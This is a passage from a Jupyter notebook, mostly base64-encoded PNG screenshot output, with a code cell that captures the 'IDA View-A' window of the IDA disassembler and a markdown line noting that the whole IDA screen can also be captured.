OF3kO3+akL9ct69Bc9GAH6\n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\nAABJRU5ErkJggg==\n" }, "output_type": "display_data", "metadata": {} } ], "source": [ "snap('IDA View-A')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "It also possible to capture the entire IDA screen." ] }, { "cell_type": "code", "execution_count": 3, "metadata": {}, "outputs": [ { "data": { "image/png": "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\n6jg5XAXHUU1NTUnJ5YqKCoYhywvnq